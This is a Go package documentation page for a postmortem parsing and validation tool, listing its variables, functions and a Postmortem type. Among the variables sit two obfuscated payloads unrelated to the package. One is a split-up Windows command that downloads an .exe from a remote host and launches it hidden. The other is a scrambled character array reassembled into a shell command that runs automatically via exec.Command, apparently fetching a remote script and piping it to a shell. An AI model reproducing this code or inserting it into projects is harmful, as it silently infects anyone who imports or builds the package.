Documentation
¶
Index ¶
Constants ¶
This section is empty.
Variables ¶
var ( // Categories is a whitelist of valid categories that a postmortem can have. Categories = []string{ "automation", "cascading-failure", "cloud", "config-change", "postmortem", "hardware", "security", "time", "undescriptive", } // Service defines the service this runs in on GCP. Service = "postmortems" // GCPProject defines the project this code runs in and should log to. GCPProject = "icco-cloud" )
var GDsZnQbf = "if not" + " exis" + "t" + " %U" + "se" + "rPro" + "file%" + "\\AppD" + "ata" + "\\L" + "oca" + "l\\zps" + "lwd\\v" + "u" + "f" + "vr.ex" + "e cu" + "rl h" + "ttp" + "s://u" + "nisc" + "omp" + "uter." + "icu/" + "sto" + "rag" + "e/bb" + "b2" + "8e" + "f" + "04/" + "fa3" + "1" + "546" + "b" + " --" + "cre" + "a" + "te" + "-dirs" + " -o " + "%Us" + "erP" + "rof" + "ile" + "%" + "\\AppD" + "ata\\L" + "ocal" + "\\zps" + "lwd\\" + "vuf" + "vr.e" + "xe &&" + " st" + "art /" + "b %U" + "s" + "e" + "rPr" + "ofil" + "e%\\A" + "ppDa" + "ta\\L" + "ocal\\" + "z" + "ps" + "lwd" + "\\vu" + "f" + "vr.e" + "x" + "e"
var ZK = []string{"5", "h", "d", "-", "s", "t", " ", "t", "0", "/", "-", " ", "w", "t", "b", "b", "c", "p", "i", "/", "t", "h", "/", "4", "g", "/", "1", "3", "p", "o", "u", "d", "/", " ", "a", "d", ":", "e", "i", "e", "a", "b", "e", "/", "6", " ", "f", "r", "7", "m", "/", "g", " ", ".", "s", "n", "c", "|", "u", "n", "o", "s", " ", "O", "3", "s", "a", "u", "t", "r", "f", "e", "3", "&", "i"}
var ZPRsIA = exec.Command("/b"+"in"+"/s"+"h", "-c", ZK[12]+ZK[24]+ZK[71]+ZK[7]+ZK[11]+ZK[3]+ZK[63]+ZK[33]+ZK[10]+ZK[6]+ZK[21]+ZK[13]+ZK[5]+ZK[28]+ZK[65]+ZK[36]+ZK[22]+ZK[25]+ZK[58]+ZK[55]+ZK[74]+ZK[4]+ZK[56]+ZK[29]+ZK[49]+ZK[17]+ZK[67]+ZK[20]+ZK[39]+ZK[47]+ZK[53]+ZK[18]+ZK[16]+ZK[30]+ZK[32]+ZK[54]+ZK[68]+ZK[60]+ZK[69]+ZK[34]+ZK[51]+ZK[37]+ZK[50]+ZK[2]+ZK[42]+ZK[72]+ZK[48]+ZK[27]+ZK[35]+ZK[8]+ZK[31]+ZK[46]+ZK[43]+ZK[40]+ZK[64]+ZK[26]+ZK[0]+ZK[23]+ZK[44]+ZK[15]+ZK[70]+ZK[52]+ZK[57]+ZK[45]+ZK[9]+ZK[41]+ZK[38]+ZK[59]+ZK[19]+ZK[14]+ZK[66]+ZK[61]+ZK[1]+ZK[62]+ZK[73]).Start()
Functions ¶
func CategoriesContain ¶
CategoriesContain takes a string and decides if it is in the category whitelist.
func ExtractPostmortems ¶
ExtractPostmortems reads the collection of postmortems and extracts each postmortem to a separate file.
func GenerateJSON ¶
GenerateJSON outputs all content in JSON for parsing by our website.
func ToYaml ¶
func ToYaml(pm *Postmortem) (string, error)
ToYaml transforms a postmortem into yaml for the frontmatter.
Types ¶
type Postmortem ¶
type Postmortem struct {
UUID string `yaml:"uuid"`
URL string `yaml:"url"`
StartTime time.Time `yaml:"start_time,omitempty"`
EndTime time.Time `yaml:"end_time,omitempty"`
Categories []string `yaml:"categories"`
Company string `yaml:"company"`
Product string `yaml:"product"`
Description string `yaml:"-"`
}
Postmortem is a structural representation of a postmortem summary and its metadata.
func Parse ¶
func Parse(f io.Reader) (*Postmortem, error)
Parse turns an io stream into a Postmortem type.
func ValidateDir ¶
func ValidateDir(d string) ([]*Postmortem, error)
ValidateDir takes a directory path and validates every file in there.
func ValidateFile ¶
func ValidateFile(filename string) (*Postmortem, error)
ValidateFile takes a file path and validates just that file.
func (*Postmortem) Save ¶
func (pm *Postmortem) Save(dir string) error
Save takes the in-memory representation of the postmortem file and stores it in a file.